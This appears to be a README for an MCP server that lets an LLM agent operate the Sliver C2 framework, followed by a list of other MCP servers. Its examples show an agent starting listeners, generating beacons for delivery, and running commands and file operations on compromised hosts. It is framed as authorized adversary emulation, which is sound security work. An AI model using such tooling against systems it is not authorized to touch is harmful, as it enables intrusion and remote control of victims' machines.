sliver-mcp
A Model Context Protocol server for the Sliver C2 framework that exposes operator tools like listeners, implant generation, sessions, command execution, and file operations for LLM-driven adversary emulation.
README
███████╗██╗ ██╗██╗ ██╗███████╗██████╗ ███╗ ███╗ ██████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ ████╗ ████║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝████╗██╔████╔██║██║ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗╚═══╝██║╚██╔╝██║██║ ██╔═══╝
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ ██║ ╚═╝ ██║╚██████╗██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝
drive the Sliver C2 operator surface from an AI agent
A Model Context Protocol server for the
Sliver C2 framework. It exposes the Sliver operator
surface — listeners, implant/beacon generation, sessions and beacons, command execution, file
operations, and a structured handoff — as mcp__sliver__* tools an LLM agent can drive.
It is the C2 layer of the AI-offsec stack, built to slot in alongside the
p0rtix (recon) and Metasploit (exploitation) MCP servers
and orchestrated by the dagar-red skill system. It
mirrors their conventions: Python + FastMCP, async tools, structured-dict returns, and a
noise / arm_dangerous safety gate.
⚠️ Authorized use only. This drives a live C2 framework. Use it only against infrastructure you own or are explicitly authorized to test — owned labs, CTFs, and contracted engagements. It is built for adversary emulation: standing up realistic C2 so defenders can test and improve detection and response. The noise tiers and the
arm_dangerousgate exist to keep operation deliberate and in scope.
⚡ Quick start
# install
git clone git@github.com:v0idravl/sliver-mcp.git && cd sliver-mcp
python3 -m venv venv && ./venv/bin/pip install -e .
# register with Claude Code (see below), then in-agent:
connect() # attach to your team server
set_noise("yellow") # allow actions that touch a host
start_https_listener(port=443)
generate_beacon(c2_host="<redirector>", os="windows")
# … deliver the beacon, then …
poll_events(); list_sessions(); execute_command(id, "whoami")
Requires Python ≥ 3.11 and a reachable Sliver team server with an operator config (.cfg).
See docs/live-test.md for standing up a local server and generating one.
🧠 How it relates to Sliver's built-in MCP
Sliver ships an experimental built-in MCP, but it is filesystem-only (≈11 tools: fs_ls,
fs_cat, fs_rm, …). sliver-mcp is a superset focused on the full operator workflow —
listeners, payload generation, sessions/beacons, execution, and cross-tool handoff — so an agent
can run an engagement end to end.
🔌 Register with Claude Code
Add to ~/.claude.json (or via claude mcp add). Point SLIVER_CONFIG at your operator config:
"sliver": {
"type": "stdio",
"command": "/home/youruser/projects/sliver-mcp/venv/bin/sliver-mcp",
"args": [],
"env": { "SLIVER_CONFIG": "/home/youruser/.sliver-client/configs/operator.cfg" }
}
The server starts whether or not the team server is up — call connect() first; tools that need
a live client return a structured "not connected" error until it succeeds.
🧰 Tool surface (mcp__sliver__*)
| Category | Tools | What they do |
|---|---|---|
| Connection / state | connect, status, get_version, poll_events, disconnect |
attach to the team server, check health, drain the async event queue (new callbacks, task results) |
| Listeners | start_https_listener, start_http_listener, start_mtls_listener, start_dns_listener, start_wg_listener, list_jobs, kill_job |
stand up / tear down C2 listeners across protocols |
| Implant generation | generate_implant, generate_beacon, list_implant_builds, list_implant_profiles, regenerate_implant |
build session implants and async beacons; reuse profiles and prior builds |
| Sessions / beacons | list_sessions, list_beacons, session_info, beacon_info, kill_session, kill_beacon |
enumerate and inspect callbacks; retire them |
| Execution | execute, execute_command |
run a binary / run a shell command on a session or beacon |
| File operations | ls, pwd, cd, mkdir, download, upload, rm |
navigate and move files on the target |
| Pivots | list_pivots |
enumerate pivot listeners on a session |
| Handoff | export_handoff, ingest_handoff |
exchange C2 state with the rest of the stack |
| Safety | set_noise, arm_dangerous |
raise the noise ceiling / unlock destructive actions |
🚦 Safety / noise model
Every tool carries a noise tier. A call above the current ceiling is refused with a structured reason — never silently downgraded.
| Tier | Meaning | Examples |
|---|---|---|
passive |
read-only state | status, list_sessions, export_handoff |
green |
build / stand up our own infra | listeners, generate_*, ls, download |
yellow |
actions that touch the target | execute, upload, kill_session |
red |
destructive | rm (also requires arm_dangerous()) |
The default ceiling is green: call set_noise("yellow") before running commands on a host
(the sliver-ops loop does this explicitly), and arm_dangerous() to unlock rm.
🔁 Typical loop
connect()
set_noise("yellow")
start_https_listener(port=443, domain="<redirector>")
generate_beacon(c2_host="<redirector>", os="windows", interval=60, jitter=30)
# … deliver the beacon (payload-delivery / loader-injection-tradecraft) …
poll_events() # watch for the callback
list_sessions()
execute_command(target_id, "whoami")
export_handoff() # feed C2 state back to internal-dispatch
Beacons vs sessions
execute and the file tools accept either a session id (interactive, low latency) or a
beacon id (asynchronous — the result returns after the next check-in, every interval ±
jitter seconds). Use poll_events() to watch for new callbacks and task completion.
⚠️ Known limitations (v1)
These reflect the current sliver-py surface, not the design:
- No client-side SOCKS / port-forward tunnels. sliver-py does not implement the tunnel
streaming, so only
list_pivotsis exposed. Use the Sliver console forsocks/portfwd. - No interactive PTY shell. A streaming PTY can't be a single request/response tool;
execute_commandcovers command execution. - No
cp/chmod/chownand no loot/creds store — not in sliver-py's base command set. Planned once upstream exposes them.
🩹 Troubleshooting
| Symptom | Fix |
|---|---|
| Every tool returns "not connected" | Call connect() first. The server starts without the team server; tools needing a live client wait for a successful connect. |
connect() fails |
Check SLIVER_CONFIG points at a valid operator .cfg, and that the team server is reachable (host/port in the config). See docs/live-test.md. |
| A call is "refused: above noise ceiling" | Raise it deliberately: set_noise("yellow") for target-touching actions, arm_dangerous() for rm. |
| No callback after delivery | poll_events() drains the async queue; beacons only report on the next interval ± jitter check-in. |
| Need SOCKS / portfwd | Not exposed (see limitations) — use the Sliver console for now. |
🧪 Tests
./venv/bin/pip install -e '.[dev]'
./venv/bin/pytest # 64 tests, no live server required
The suite mocks sliver-py, so it is green on a clean machine. For a live end-to-end smoke test,
see docs/live-test.md.
License
MIT. See LICENSE.
Recommended Servers
playwright-mcp
A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.
Magic Component Platform (MCP)
An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.
Audiense Insights MCP Server
Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.
VeyraX MCP
Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.
graphlit-mcp-server
The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.
Kagi MCP Server
An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.
E2B
Using MCP to run code via e2b.
Neon Database
MCP server for interacting with Neon Management API and databases
Exa Search
A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.
Qdrant Server
This repository is an example of how to create a MCP server for Qdrant, a vector search engine.